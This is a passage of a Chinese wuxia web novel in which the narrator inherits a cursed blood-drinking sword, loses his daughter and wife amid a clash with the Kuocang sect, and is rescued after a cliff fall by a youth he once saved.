我没有说话。这时候我又要说些什么?我只有愣愣地看着陈伯洋,静静地等待着他,等待着他给我一个更为明确的答案,等待着他向我徐徐说出那些我所不知道的往事。 “青光血芒,一世剑狂!” 陈伯洋意味深长地念着那句曾在江湖上广为流传的话,语气中极尽怅然之意。他说:“当年的剑狂姬啸风,那是江湖上何等不可一世的人物。血芒剑一出鞘,任凭是千军万马还是武林高手,都逃不过他一闪而过的剑招。这把剑成就了姬啸风,却也最终毁了他。” 为什么? 我说:“就因为血芒剑是一把邪剑?” “不错!”陈伯洋目光犀利,他重重地说,“就是因为它是一把邪剑,一把需要人血来喂养的至阴至邪的魔剑!魔剑通灵,它能契合持剑之人的愤怒,同样也能影响持剑者的心性。” 陆家山庄那夜,满地尸骸,血流成河。那一幕,陡然之间在我脑海中重现,殷红的血液缓缓流过学芒剑猩红的剑刃,却没有一滴血滴落下来。 我说:“这和剑狂前辈......不......我,我爹有什么关系?” “他是血芒剑的主人,当然与血芒剑有着密不可分的联系。”陈伯洋说,“当年我初见姬啸风时,他一身正气。虽然剑法平平,却重情重义,让人不禁赞叹。那时的他,手持青光血芒两把宝剑,从来没有见他杀过任何一个人。因为那个时候,血芒剑从来没有被他拔出过剑鞘,江湖上也从来没有人见过一把像血一样红的剑。但不知道为什么,我再见到他时,他正被一群杀手围攻。当时,我正要出手相救之时,却看见他腰间红色的光芒一闪而过,一剑之间,四颗头颅滚落。另外几名杀手吓得魂飞魄散,斗志全无,只顾得仓皇逃窜,姬啸风却根本不肯放过他们,红光接连闪过,一眨眼的功夫,所有的人都死在了血芒剑之下。也大概是从那段日子之后,江湖上的人闻血芒二字尽皆胆战心惊。姬啸风自称剑狂,但江湖上的人私下里却只叫他剑魔!” 血芒剑!血芒剑! 难道真的是血芒剑影响了一个人的心性吗?让一个一身正气的人,突然之间变成了杀人不眨眼的恶魔? 我说:“你为什么要告诉我这些?” 陈伯洋攥着海皮刀猛地向地面一杵,火星四溅。他豁然站起身来,一只手死死地抓住我手臂,尖锐的指甲几乎就要抠进肉里。他激动地冲我吼着:“那是一把邪剑!你知不知道,当年它毁掉的不只是姬啸风,它险些毁了整个武林?你知不知道,他杀了多少人,害得多少人妻离子散,骨肉分离?!” “所以呢?”我的心里泛起恐惧,我强忍着继续问,我要陈伯洋清清楚楚地告诉我,他告诉我这些到底是为了什么?! 陈伯洋大声说道:“毁了它!你必须毁了血芒剑!它不仅会害了你,甚至会在江湖上又掀起许多腥风血雨!” 毁了血芒剑? 我的心不停地颤抖着。我害怕,我承认陈伯洋的话让我已经恐惧到了极点。我知道那是一把邪剑,却没有想到它竟然邪得如此令人发指。 可是......既然它是一把邪剑,一把邪得令人发指的剑,为什么娄琴却把这把剑给了我? 娄琴当然不会害我。我确信娄琴另有她的深意,那深意绝不是让我毁了血芒。 可那是什么呢? 难道仅仅是因为这把剑曾经属于剑狂,而剑狂就是我的亲生父亲吗? “我不能。”我缓缓地摇头,说,“我不能毁了它。” 无论娄琴为什么会把血芒交给我,在我弄清楚其中的原委之前,我都不能毁了血芒剑。 “你是不是疯了!”陈伯洋吼着,他惊恐而愤怒,他歇斯里地冲我咆哮,“难道你想重蹈当年你爹的覆辙吗?!” 我当然不想。不管当年他做了什么,我都不想成为一个杀人不眨眼的魔头。 我想起娄琴给我说的话,我向陈伯洋复述道:“剑没有正邪之分,区分正邪的从来都是人心。” 5. 剑没有正邪之分,区分正邪的从来都是人心。 那时的我,虽然嘴上说着这样的话,但却根本没有理解这句话其中真正的含义。 因为,没有经历过。所以,一切的口说都不过是空洞的复述。 这句话说完,我转身离开时,却看见小月正在不远处怔怔地看着我。 她眼中是我从来不曾见过的深重的忧虑。她看着我一步一步地向她靠近,只到走到了她跟前,她才张开有些干涸发白的嘴唇,问了一句:“你,你没事吧?” 我微微一笑,宽慰着小月的担忧。我说:“我没事。” 深夜,一个无眠的深夜。 我独自现在山洞口,感受着不断出来的冷风。 风很冷,像深秋的风一样,像刀子一样,几乎要割裂我的每一寸肌肤。 我端起剑,雪银的剑鞘下埋藏着血芒剑腥红的光。 当年的剑狂,我的父亲,到底是如何使用这把剑的呢?难道真的就像陈伯洋所说的那样,惹得江湖人一片腥风血雨吗? 陈伯洋的话真的可以吗? “睡不着吗?”一个温柔的声音,给冷风中的我带来一点暖意。 我点了点头,不知要说些什么。沉重的心思,已经让我没有办法再去感受小月的温柔。 小月问:“你想怎么样?” “什么?”我不知小月所指。 “血芒剑。”小月说,“你想怎样处理处理血芒剑?” 我沉吟了许久,终于下定决心,把剑紧紧地攥在手中,说:“我会好好的保管血芒,但我答应你,这一生都不会用它。” 小月嘴角似乎是勉强地向上一挑,依偎进了我的怀里…… 第一百八十九章 失踪 1. 陈伯洋的话给我和小月平静的生活蒙上了一层重重的阴影。 说来奇怪。在听到陈伯洋的话之前,我虽然知道血芒剑是不祥之物,却也没有太多在意,将它随身携带,也并没有发现什么异样。 但自从听了陈伯洋所述的那些往事之后,总感觉自己时常会听到血芒剑发出的低吟,每当手触碰到血芒剑的时候,总能感受到那雪银色剑鞘下隐藏的猩红正向我传递着不安的躁动,它仿佛是要我帮它挣脱剑鞘的束缚一般。 许多事情,说起来容易,却不一定能够做到。 我答应过小月今生都不会拔出血芒,但却在第二天的夜里就忍不住把它拔出了剑鞘。 那种感觉太过强烈了。 让我无法忍受自己内心里强烈的好奇。到底它是怎么样的一把剑,它有什么样的魔力会让使它的人如此疯狂? 红光一闪。血芒剑脱出雪银色的剑鞘,它在空中颤动着,发出兴奋的嗡嗡声,似乎比我更加享受那种不受束缚的空气。 血芒。 我看着那猩红的光怔怔发呆。忽然,有一种强烈的兴奋感从心底里泛起,似乎是我的心在响应者剑的呼声。 这莫大的天下,这个让我留下了莫深遗憾与不甘的江湖,那些曾让我愤怒与不屑的人...... 血芒剑! 我感觉是有什么已经被埋藏了很久的东西正在一点一点地浮出水面。有什么已经熄灭,或者还未完全熄灭的东西,在一步一步地复燃。 这种感觉......让我一阵晕眩,发狂地晕眩。 “铮”! 我慌忙将血芒剑塞进剑鞘之中,红光隐去的一瞬间,波涛汹涌的海浪骤然间平静了下来。平静让人感觉心安,却也会让人感觉寂寞。 “我说过,你应该毁了它!” 一个沉闷而沙哑的声音从我身后响起,我慌忙起身,只见陈伯洋矮胖的轮廓正在我身后不远处的黑暗中若隐若现。 他向我走近,面色阴沉而郑重,他说:“没有人可以驾驭这把剑,你不要存在任何侥幸。” 一个一直潜藏在我心底很久的疑惑,或许陈伯洋能告诉我答案。我问:“你们是不是早就知道剑狂是我爹?” “你们?”陈伯洋一怔,问,“你所说的你们是指谁?” 我深深地吸了一口气,说:“你,娄琴,陆石,还有......白景行。” 陈伯洋嘴角微微一挑,似笑非笑地说:“这个江湖上只要与姬啸风有些渊源的,大概都能猜的出你们的关系。” 我问:“为什么?” 陈伯洋说:“因为,你们很像,非常想,简直是一模一样。” 一模一样...... 我回想起当年在禅慧寺外树林中,蒙面的陆石杀死圆信的一刹那,他那疑惑的眼神,他那许久都另外费解的话。 “是你?”“你怎么会在这里?” 原来,他那时就把我当成了当年他所认识的剑狂。他当时就发现了我的身份。可是....... “为什么从来没有人告诉我?为什么你们都要瞒着我?”我问着。 陈伯洋抬头看着稀疏的星空,目光如同黑夜一样深邃而悠长,他长长地叹息了一声,说:“因为,谁也不愿提起当年的事。白盟主曾对我说过,叫我永远不要告诉你你的身世,他希望你不要被上一辈的恩怨所干扰,能够平平安安地在这个世上度过一生.......若不是因 为血芒剑,恐怕这些话,我永远都不会说出来!” 白景行! 又是他! 2. 我曾以为,我可以凭借自己的力量在这个浩渺无边的世间无所拘束地活着,按着自己的意愿,走一条属于自己的道路。 到头来我才发现,原来我这些年一直被人利用,一直被人安排,一直被人隐瞒着...... 我忽然感觉这世间的一切都不再那么可信,谁的心里都有可能隐藏着我所不知道我秘密。我问小月:“你会不会隐瞒我什么?” 小月一脸茫然地看着我,问:“我会隐瞒你什么?” 我摇了摇头,说:“不知道。我只是怕你会隐瞒我。” 小月忽然把头埋下去,低声地说:“你是不是都知道了?” 我心猛然一颤,不敢置信地看着小月。 这世间难道真的如此不可信?就连我最亲最近的人也要隐瞒我什么? 我说:“你有什么事瞒着我?” 小月咬着唇,不停摆弄着手指,犹豫着说:“我,我看那陈老头实在惹人讨厌,就,就往给他的饭菜里下了点泻药。” 仅此而已? 不过是给陈伯洋下点泻药而已,这并不算什么大事,她何必说得如此为难?我总感觉她还有话没有说尽,轻声地问了一句:“然后呢?” 小月着急地攥住我的手,说:“我不是有意的。或许是那陈老头内伤太重了,没想到他跑了几次茅厕之后,竟然,竟然......” 我忽然感觉不妙,忙追问:“陈伯洋怎么了?” 小月一脸委屈地说:“他死了。” 死了?! 我豁然起身,大声吼道:“你把陈伯洋害死了?” 小月连忙摆手,说:“我不是有意的。我只是见他赖着不走,实在讨厌,想要整他一下......再说,他也算不上什么好人,死有余辜。” 看着小月焦急而又委屈的模样,我实在不忍心责备。只是悠悠地叹了口气,替陈伯洋叹了一口气,说:“毕竟......也是一条人命。” 小月摇着我的胳膊,竟有些撒娇的意味,说:“所以,我把他好好安葬了。他武功尽失,生不如死,我想他应当不会太责怪我。” 大概如此吧。我想起陈伯洋多日来垂头丧气甚至是伤痛欲绝的样子,对于他这样一个痴迷于权势与武学的一派掌门来说,或许安详地死在这风景绝美的藏龙涧,或许好过他重返江湖去承受那种一落千丈的怅然。 我问:“你把陈伯洋埋在哪里了?我想去看看他。” 无论恩怨是非,毕竟也是自己曾经在这个江湖中结识的旧人。死者为大,我想去祭拜一下总是应当的。 小月指了指远处,说:“在那棵歪脖子树下,上面满是野果,我想他在黄泉路上或许不会再忍饥挨饿了。” 我默然地走向小月所指的方向。不知为何,每迈出一步都感觉脚下好像挂了几十斤重物一样,一想到自己曾经熟悉的人陡然之间深埋黄土之下,心里便莫名地有些难过。 3. 一块方圆十几米的空地,黄褐色的土地似乎是拥有了什么强大的斥力,周边寸草不生,就连笔直而来的小溪也在此处拐来一个大大的弯,绕了过去。一个歪歪扭扭的树,因为没有其它树木与它争夺阳光雨露,它浑身上下都充斥着慵懒和闲逸。 橙红色的野果挂满了枝干,却只长在了伸手够不到的高处。因为,低矮一些 的枝干上原本长着的野果早已被陈伯洋摘得干干净净了。 树下。一道浅浅的坑,崭新的泥土被翻开,露出深色的内里,而坑里却空空荡荡的,什么也没有。 “怎,怎么会?”小月惊讶地喊道,“我明明把他埋在这里了,才不过两个时辰,怎么会......” 我同样也充满了疑惑,蹲下身子,抓起一把稍稍有些潮湿的泥土,在手掌中轻轻地捻着,百思不得其解。 难道陈伯洋并没有死? 忽然,小月的手重重地落在我肩膀上,她似乎是被发现了什么事情让她十分恐惧,她的手不住地颤抖着,越抖越厉害。 “纾,纾瑶呢?”小月瞪着极度恐惧的眼睛,死死地盯着我,突然尖叫了一声,“纾瑶!” 这一声尖叫堪比一击沉重的铁拳,狠狠地打在了我胸口。一瞬间,我脑海中空白一片,小月已经转身跑向了山洞。 我强撑着已经有些发软的双腿,极力地在后面追着。小月的身影忽闪着,如同时逃命一般的速度冲向了山洞。 纾瑶应该还在山洞里沉沉地睡着。 我一边跑,一边安慰着自己,她应该还在那里,她应该...... 空荡荡的山洞击碎了我所有的自我安慰。原本应该托着纾瑶熟睡的那张石床上,只剩下一张被翻开的兽皮。 一览无余的山洞里,没有纾瑶的影子。 小月不死心地绕着山洞翻了一圈,石台下,储物的木箱里,甚至是那张一眼就能看透的渔网中,小月也丝毫不肯放过,将它一把抖开。 小月的眼睛里充满了恐惧,还有那已经框不住的泪水不停地往下淌,她的声音无助而颤抖,问我:“纾瑶呢?我的纾瑶呢? 4. 纾瑶失踪了。 从清晨到日暮,我找遍了藏龙涧的每一个角落,都没有找到纾瑶留下的任何蛛丝马迹。 她是被陈伯洋掳走了吗? 我只能猜测。却没有任何确凿的证据证明,纾瑶是被陈伯洋带走了。 但他们两个人却同时消失得无影无踪,这让任何人都很难相信这只是一种巧合。尤其是在这个几乎与世隔绝的藏龙涧中。 我无力地坚持着,一直走着,直到最后,只剩下漫无目的地在藏龙涧中游荡,心里早已充满了绝望。之所以一直坚持着还在走着找着,只不过是因为内心里的愧疚罢了。 小月早已经把泪水都哭干了。她正跪倒在山洞口,望着茫茫一片的山涧,繁花锦落,流水不息,到处都透露着无情。 我坐在小月身旁,想要安慰,却又没有任何心思安慰,只是无声无息地等着,却也不知道自己在等什么。 “你现在满意了?”小月冷冷地说。 我怔怔地看着小月,问:“你什么意思?” 小月的目光像刀子一样刺向我,那种让人窒息的怨恨让我感到深深地恐惧。她说:“你明明知道陈伯洋不是好人,你为什么还要留下他。如今他掳走了纾瑶,你满意了?!” 谁会在一开始就想到会有这样的结果? 我说:“我没有料到……” 小月抹了一把早已经干涸的泪痕,她起身往山洞远处。月如勾,星光满布。我问她:“你去哪里?” 小月稍稍顿足,没有回头,只轻声说:“我要去找纾瑶,天涯海角,我也要把她找回来!” 这一去,又是天涯海角。 茫茫不见,不可捉摸的天涯海角…… 第一百七十章 剑狂 1. 纾瑶的失踪就像一把刀,一把残忍无情的刀,割裂了我和小月的心,也在割裂着我们之间的感情。 我愧疚。是因为我自觉对陈伯洋的容忍的确给了他掳走纾瑶留下了可乘之机。 但我也疑惑。为什么陈伯洋会无缘无故地掳走纾瑶? 我隐隐约约间有一种感觉,总感觉纾瑶的失踪其中另有蹊跷。 趁夜急匆匆地走了十几里路,小月一句话也没有跟我说。她的眼神中除了焦急,还有对我深深地埋怨。 我紧跟着她身后,一路不敢询问一句,但走得久了,总觉得这样漫无目的地寻找不是办法。我小心翼翼地问小月:“你要去哪里?” 小月冷冷地瞥了我一眼,停下脚步,一转身又是泪水如珠一般地滚落下来。她盯了我很久,忽然似乎是想到了什么,大声说道:“括苍山!” 括苍山! 若陈伯洋的确活着,若真的是陈伯洋掳走了纾瑶,那么以他今时今日的状况,武功全废,行走江湖定然是危险重重。 回去括苍派的确是他唯一的选择。 小月快速地奔跑着,她似乎已经忘记了疲惫。我紧跟在她身后,不敢有丝毫的落后。强烈地疲惫感已经让我浑身上下的筋骨皮肉都发出阵阵的酸痛,但我依旧忍着,也只能忍着。 2. 小小村落。 夜间,它依旧睡得极为深沉。悄无声息的,让人不忍心去打扰它的静谧。 连续奔走了几个时辰的小月,终于在一户颇为体面的宅院前停下了脚步。丈余的木门上,高高摇曳的灯火照亮了小月略有些苍白的面色。 我心疼地说:“休息一下吧。” “休息?”小月冷笑,“女儿都没了,还有心情休息?” 我说:“我只是担心你的身体。” 小月看着我,目光一软,幽怨地叹了一口气,说:“不知道纾瑶这时候怎么样了?有没有吃东西?会不会受到什么委屈?”她说着说着,便又开始哽咽,当第一颗晶莹的泪珠夺眶而出时,她也同时扑倒在了我的怀里。 泣声幽咽,如钻心的刀刃。 我扶着小月微微发颤的背,说:“放心吧。我想陈伯洋不会伤害她的。” “真的吗?”小月抬起头看着我,泪水已近无法抑制,问,“你怎么敢确信?” 我说:“他这些日子对纾瑶一想不错。那种善意应当是掩盖不住的,也伪装不了的吧。”说着说着,我越来越没了底气。 这些年,我被那种可笑的善意欺骗了多少次? 小月一把推开我,擦干泪水,说:“不能耽搁了,我们必须尽快赶到括苍山,尽快找到陈伯洋。” 我说:“你太累了,我怕你还没到括苍山便已经累倒了。” 小月斜眼看了身边的宅院一眼,说:“这宅子看起来应当是个富庶人家,家里定然有马。” 深更半夜去借马,总觉得有些失礼。 但是,纾瑶失踪,小月又如此心急如焚。即便是我有些难以启齿,却也只好走到门前,轻轻地敲了两下门。 “砰!” 敲门声被一声巨响彻底淹没了。小月飞脚踹开了我轻叩的门,两扇沉重的木门拖着长长的“吱呀”声轰然倒地。 掀起一片扬尘,地面一阵颤动 “何必如此麻烦。”小月冲进院子,环顾半周,找到了马厩,三两步冲了过去。 马厩里的马和屋子里的人,被小月踹门的一脚尽皆吓醒了。马厩里的马惊恐地长嘶着,四只蹄子挪动着慌乱地步子。屋子里的女人惶恐地尖叫着,男人愤怒地冲出了屋门,袒露着黑毛密布的胸口,冲着我们破口大骂:“大胆毛贼,敢闯老子的宅子!” 说罢,那胸口黑毛密布的男人顺手抓起一根铁叉,平端在手中,“呀呀呀”地叫着:“我叉死你!”他对着马厩里正在解缰绳的小月冲了过去。 “铮!” 一声划破夜空的剑鸣。 小月的身旁被一道柔和的青光包围起来。青光剑在我手中一挥,斩断了拴马的缰绳,也斩断了男人手中的铁叉。 沉重的铁叉“咣啷”一声砸在地上,我郑重的警告他:“你可以叉.我,但绝不许你叉.我的女人!”说完,我翻身,一把将小月拉上马背。 马声长嘶,在马厩中颠了几步,踏着横在地上的两扇木门板,跑出了小院,把惊魂未定的男人留着这个莫名其妙的黑夜里...... 3. 去往括苍山的路途,遥远而漫长。 尽管马蹄声从未止息过,但我依旧觉得这一路比我以往任何一次都要沉重,都要漫长。 巍峨的括苍山,带着隐隐约约的肃穆。 许多年前横亘在半山腰收去上山门票的括苍派弟子早已不知踪影。我和小月一步也不肯停息地冲上了括苍山。 当括苍派的匾额出现在我们眼前时,同时映入眼帘的,还有那一片煞白的绢布。 整个括苍山似乎都失去了色彩,黑白之色成了括苍派的主色调。山门哭声不绝,每一个人似乎都陷入了极为深重的悲痛之中。 我和小月带着巨大的疑惑与不安刚刚踏进山门,只听见一个弟子尖声的呼叫:“是他们,他们来了!” 陈有风目光凌厉而愤怒,全然不是我当年见过的那份彬彬有礼。他指着我,愤怒地咆哮着:“是你,你还敢来!” 我还未说话,小月已抢先问道:“陈伯洋呢?叫他出来!” 每一人的脸上的愤怒陡然又浓郁了几分。“咣,咣,咣,咣......”的拔刀之声连成一片,气氛紧张到了极点,几乎空气都要凝固了一般。 “你,你明知故问,实在可恶!”一个年迈的长者胸腔剧烈地起伏,两撇胡须被他口中不停吐出的气息吹起又落下,落下又吹起。 程文轩。三年前,赵钱孙李四人闯括苍山时,他就在跟前。 我说:“你这是什么意思?” 程文轩咬牙切齿地说:“你杀了我掌门师兄,竟然还敢装模作样!” 陈伯洋死了?! 他真的死了?! 小月并不相信,她摇着头,说:“陈伯洋呢!生要见人,死要见尸!他掳走我女儿,我一路追到括苍山,没有耽搁片刻,我不相信他死了!” “哈哈哈......”程文轩大声笑着,笑声中满含悲愤,他说,“青云派弟子亲眼所见,你们夫妇二人练手将我掌门师兄打死,如今他尸骨未寒,你们还要栽赃嫁祸他掳走你们的女儿,贼喊捉贼,实在该死!” 程文轩话音未落,刀锋已行至小月跟前。小月轻功卓绝,身法灵巧显然远胜于程 文轩。他连出三刀未能伤及小月分毫。 小月身影一晃,人如魅影一般闪进括苍派正堂之中。 小月怔怔地站在正堂门口,她的背影是那么绝望,绝望得让她忘却了自己正处在危险之中。程文轩的刀锋骤转,直扑向小月的后背。 我心头一急,浑然冷汗直冒,双足一蹬地,猛地向程文轩的刀锋扑去。 我想要挡在小月的跟前,即使是我来不及拔剑,那我也要以我血肉之躯为小月挡下致命的一刀。 但是,这一切都来不及了。 我的一生,就在这电光火石之间,被程文轩无情的刀锋劈开了通往悲剧的裂缝。 那一刀落下之时,小月绝望的背影,在高大的括苍派正堂门前不住地颤抖着。因为,她的确看到了陈伯洋僵硬的尸体。 那僵硬的尸体说明了一个残忍的事实纾瑶的线索断了,她天真烂漫的身影彻底没入了茫茫无际的天地,或许永远都不会被我们找到。 那一刀落下去的时候,小月的身子也沉了下去。 殷红的鲜血残忍而无情地向外喷洒。势大力沉的刀锋在她的背上划开了一道骇人的血口。 我接住小月,她仰在我怀里,满目泪水。 她的血染红了她的背,也染红了我的胸膛。 “小月,你,你不要......”我呼喊着。我想说,你不要死,不要把我自己留着这个残酷的人世间,孤苦伶仃地活着。 小月满是鲜血的手抚在我脸上,直到这个时候,她依旧挂念着女儿,只挂念着女儿。她说:“纾瑶,纾瑶不见了,她找不到了。” 我说:“不会的,不会的。我们一定会找到她,我们一家人还要去寻找真正的天涯海角。” “天涯......海角。”小月苦涩地笑着,气息越来越微弱,“那真是一个美丽的梦,一个梦而已。” 那不是梦! 这才是梦! 我不停地告诉自己,这是梦,这一切都不是真的。上苍何必对我如此残忍,戏弄了我这些年,却还要夺走我最心爱的人。 一股灼热的气浪从侧门扑来。程文轩,这个该死的程文轩,他又挥着刀向我砍来。 青光?血芒? 雪银剑鞘中的两把剑,同时向我发出了清脆的低吟声。它们都感受到了内心勃然而起的怒火。 选择? 没有时间选择! 就是在无意识间,我随手抽出了其中的一把。 潋滟的青光就像是碧绿湖水中粼粼的波动,在扫过我身侧的瞬间,一声清脆的声音,程文轩手中的刀被青光剑毫不留情的斩断。 我抱起小月,她的血仍然在不住地往外流淌着。鲜血顺着我的手臂流到青光剑的剑刃之上,竟然掩盖了纯正而柔和的青光,将那青色的剑刃染得如同血芒剑一般的猩红。 那瞬间,我忘却了它是青光剑。 那瞬间,我也忘却了它从不沾染鲜血。 猩红的光芒闪成一片,在括苍派跃跃欲试的弟子中杀出了一条血路。 凄厉的惨叫,惊恐的嘶吼......在括苍派就如是陆家山庄的那一夜...... 青光血芒,一世剑狂。 我血管中流淌着剑狂的血液,正在一点一滴地沸腾着...... 第一百七十一章 少年 1. 括苍派数百弟子长刀直挺,一路追杀,对我和小月穷追不舍。 我怀里抱着小月,手中握着的已不知道是青光还是血芒。 一个人能有多少血可以流? 我感觉小月的血就要流尽了,她已经陷入了昏迷,脸上毫无血色,嘴唇发白,身上的温度正随着血液的流淌一点一点地被抽离。 “你要坚持住。我一定会救你的。” 小月没有回应。他在我怀里随着我的脚步颠簸着,这一次我再也不会像当年一样把她摔在地上。 一次也不会! 杀声渐近,我却已经拼尽了全力。突然,我感觉后背传来一阵冰凉的刺痛。 一把带血的长刀刺穿了我胸口。我转身,愤怒地看着那个向我刺出长刀的人,他惊恐地看着我,松开刀柄之后的手颤抖得更加剧烈,他不住地向后退着,眼睛直勾勾地盯着我手中的剑。 那把猩红如血的青光剑! 括苍派的弟子一个又一个地出现在我面前。陈有风提着刀,凝望着我,眼神中似乎还有一些不忍。 “你,你为什么要杀我师父?”陈有风问我。 我冷冷一笑,说:“我本来是想救他。但是,我现在后悔了。” 我回过头去,身后已是悬崖绝路,悬崖下葱翠的绿色与烟云的白色交融成一片,让这悬崖显得更加深不可测。 从高耸入云的括苍山上跳下去,会不会粉身碎骨? 那时的我根本没有考虑过,胸口被长刀贯穿的伤口正淙淙地向外淌着鲜血。这个时候的生死对我来说,也不过是早晚之事。 与其死在这些我深恶痛绝的江湖杂碎面前,我情愿抱着小月跳下山崖,便在黄泉路上去寻找我们一直都还没有找到的天涯海角。 起码,那一跃而下的瞬间,不会有痛苦...... 2. 茫茫没有边际的黑暗,我置身其中,感受不到温暖,感受不到寒冷,也感受不到自我。 忽然间,我听见一声悦耳如清铃一般的呼唤,就像藏龙涧里山涧中淙淙流过的小溪水拍打石岸时发出的声音一样。 “醒醒,你还好吗?” “大哥,他好像有反应了。” 一股干燥的温暖扶在了我的额头上。我缓缓睁开眼睛,眼前的世界如同化在水中的水墨一样朦胧。 一个人影,或许是两个人影,在我眼前晃动。我问:“你是谁?” “恩公!”那人影的声音焦急而喜悦,“你醒了?” 一阵刺目的阳光晃过,让眼前的景象渐渐地清晰了许多。我闭上眼,再睁开,看到一个棱角清晰、剑眉横卧的英俊少年 。 他披散着头发,带着喜悦却并不明显的笑容。那张脸,似曾相识...... “你是谁?”我又问。我想站起来好好去审视一下,但身子刚刚一动,胸口便传来一阵剧烈的疼痛。那疼痛撕心裂肺,钻入骨髓,让我几乎晕厥。 “恩公不要动。”那少年扶着我,说,“你伤得很重,当心伤口迸裂。” 我伤得很重......我记得,一把刀穿过了我的后背。我记得,我抱着小月跳下了括苍山的悬崖...... 小月! 我挣扎着想要起来,那少年死死地按着我的肩膀,急切地说:“恩公,千万别动,小心伤口!” 我问他:“小月呢,小月她在哪里?她......” 她还活着吗? 少年疑惑地看着我,说:“恩公,我发现你的时候,只有你一个人......” 拖着我身子的床榻仿佛瞬间坍塌掉了,我感觉自己在不停地往下坠,就像当时我抱着小月跳下悬崖时的感觉一样。 只是,我的怀里再也没了小月。 我极力地喊着:“你放开我,我要去找她!” “嘭。” 我看见那少年猛地一挥手,随即勃颈处一阵剧痛袭来,眼前一黑,失去了知觉。 3. 又是一片茫茫没有边际的黑暗。 我睁开眼睛时,还是一片黑暗的景象。我侧转过头去,一处低矮的桌几上,昏黄的灯火摇晃着。 借着这昏暗的灯光,我隐约看得出,这是一间简陋的茅屋。地上随处可见杂乱的茅草,三三两两,被门外渗入的风吹得时不时地要晃动两下。 “小月!”我轻轻喊着小月的名字。 很快,那少年的脸又出现在我面前,我总感觉那张脸十分的熟悉,似乎是在哪里见到过一般。 “恩公,你又醒了!”少年说,“你这次不要再乱动了,不然,不然我还会把你打晕。” 我说:“我宁愿你把我打晕。” 让我晕过去吧。晕过去了,我便感受不到胸口传来的阵阵剧痛,也感受不到因失去小月而产生的那种钻心的疼痛。 少年沉默了片刻,说:“好。” 4. 当我再次醒过来的时候,少年已不在我眼前。在我眼前的是一个眸光如水,清纯可爱的少女。 她温婉的长发像水一样流下。一根紫色的发带箍在额头上,中间还垂着一颗闪闪发光的晶石。 少女叫我醒来,立刻流露出喜悦。她说:“你终于醒了。你这一次已经昏迷了三天了,我大哥还以为自己下手太重了,自责了好久呢。” 我 问:“你是谁?这是哪里?” 少女一怔,满脸疑惑,手掌在我眼前晃了晃。我说:“我没瞎。” 少女脸颊一红,慌忙将手收回在胸口,歉意道:“对,对不起。我,我只是想确认一下,是不是我哥下手重了……” 我又问她:“你是谁?” 少女笑容可掬,带着天真烂漫,说:“我叫余青儿。” 我问:“这是哪里?” 余青儿笑着说:“这是青崖谷,是括苍山下的一个幽谷。” 括苍山……小月! 我挣扎着挺起身子,余青儿慌忙上来将我扶住,说:“你你还不能起来。” 我冷冷地说:“你别管我。我要去找我的妻子。” 余青儿十分严肃地说:“那也不行!我大哥已经替你去找了,你受了这么重的伤,我大哥好不容易才把你救活,你不能动!” “你大哥?”我疑惑地问,“他是谁?” 余青儿的脸上流露出骄傲的神色,看得出她对她的这位大哥颇为崇敬。她说:“我大哥名叫余十三,他是这世间最厉害的人。” 余十三......我在脑海中努力搜索着这个名字,但它却远不如那少年的脸一般熟悉。 他会是谁? 正思索间,门外传来“踏踏”的脚步声。 “大哥回来了。”余青儿喊着,她兴奋地看着门口闪进来的少年,迈着从容的步子,不见他有丝毫风尘之色。 “你……又醒了?”余十三微微一笑,那笑容看起来就像是一个不擅长微笑的人勉强挤出来的,总感觉有些不甚自然。 我说:“小月……找到了吗?” 余十三摇了摇头,说:“悬崖下是一条颇宽的河道,我沿河找了许久,都没有见到任何人影。我想,你要找的人大概是被河水冲走了吧。” 这个少年说话丝毫不懂得含蓄委婉,就这么赤裸裸的把结果告诉了我。 我挣扎着,说:“我要去找她。” “恩公!”余十三收起那让人看着便不太舒服的笑容说,“我已经替你找了两天了,什么也没有发现。即便是你想要去找,也要养好伤再去。” 他又沉吟了片刻,略带威胁地说:“如果你不想再晕过去的话,最好听我的。” 这个人突然间让我觉得讨厌。我说:“我不用你管。” 余十三认真地说:“我一定要管。我从不欠人恩情,我一定不会看着你去送死。” 恩情?! 我疑惑地看着那少年,着实想不出他到底是欠了我什么样的恩情。 我问:“你为何要叫我恩公?” 余十三说:“恩公可还 记得,四年前,闽赣边陲的小镇上,押送官粮的镖队?” 四年前…… 我和李小谦出月牙山庄赶往汀泉山的路上,在闽赣边界的一个小镇上,曾经见到过无数饥肠辘辘的流民。一队运粮的车队经过,不知是何缘故跌落了一袋白米引来无数流民疯狂地哄抢。 押送粮食的镖师肆虐砍杀着上前哄抢粮食的饥民,鲜血横飞,凄惨无比。 当时的我被镖师的残忍所激怒,在他们挥刀砍向一个怀中兜着白米的少年时,我突然间使出了一种我所从来不曾拥有过的力量,在无情的白刃下留下了那个少年。 他当时要将怀中的白米分我一半,我并没有接纳。他便跪在地上,向我郑重地磕了几个头,毅然离去。 我记得,他那时曾对我说,他的命从此便是我的,如果我需要随时可以取走…… 我打量的眼前的少年,难怪他的容貌从始至终都让我觉得异常熟悉。我说:“原来是你。” 余十三嘴角一扬,说:“你想起来了?” 我说:“我曾经救过你的命。” 余十三脸又沉了下去,说:“现在扯平了!” (本章完) 第一百七十二章 少女 1 少年余十三给我的印象并不算好。虽然,我曾救过他一命。虽然,他又救了我一命。 他嘴上喊着我“恩公”,但我从他对我的态度来看,仿佛他并不心甘情愿。 我索性对余十三说“不要再喊我恩公了。” 余十三停下手中挥舞得柴刀,怔怔地看了我半晌,然后又默然地转过头去,继续劈柴。他说“你以为我想吗?我只是不知道你叫什么名字。” 余十三忽然又停了下来,面无表情地盯着我,问“你叫什么名字?” 我说“我不想说。” 余十三的表情并无变化,他“哦”了一声,继续劈柴,说“恩公的伤已经好得差不多了,再调养几日便可以离开了。” 这少年便是这样对待自己的恩公。 毫无恩情可言。 我看着这个古怪的少年,总感觉他身上似乎是背负着什么,不然以他这样的年纪,正是好奇心胜的时候,因何会给人一种看破沧桑,坦然一切的感觉? 我说“我不会离开。我要继续找小月,即便是她的尸体……” 余十三又停下手中挥舞的柴刀说“你必须走。” 他目光坚定而绝决,让我深感疑惑,我问“为什么?” 余十三抿了抿嘴,说“你在这里,我就要把我的食物分给你。你在这里住了半个月,我便已经有半个月没有吃过饱饭了。” 竟然就是为了这种理由! 我怒道“我可是救过你的命!” 少年将柴刀扔在地上,抱起刚刚砍好的木柴,看都不看我一眼,便说“我也是。” 2 在青崖谷养伤的这段日子里。 余十三一向神神秘秘,早出晚归,他每次回来,我都要焦急地问他“怎么样?可是发现了什么?” 余十三卸下肩膀上扛回来的食物,淡漠地摇头,说“没有。” 我便一次又一次地陷入失望,失望,再失望……直到绝望。 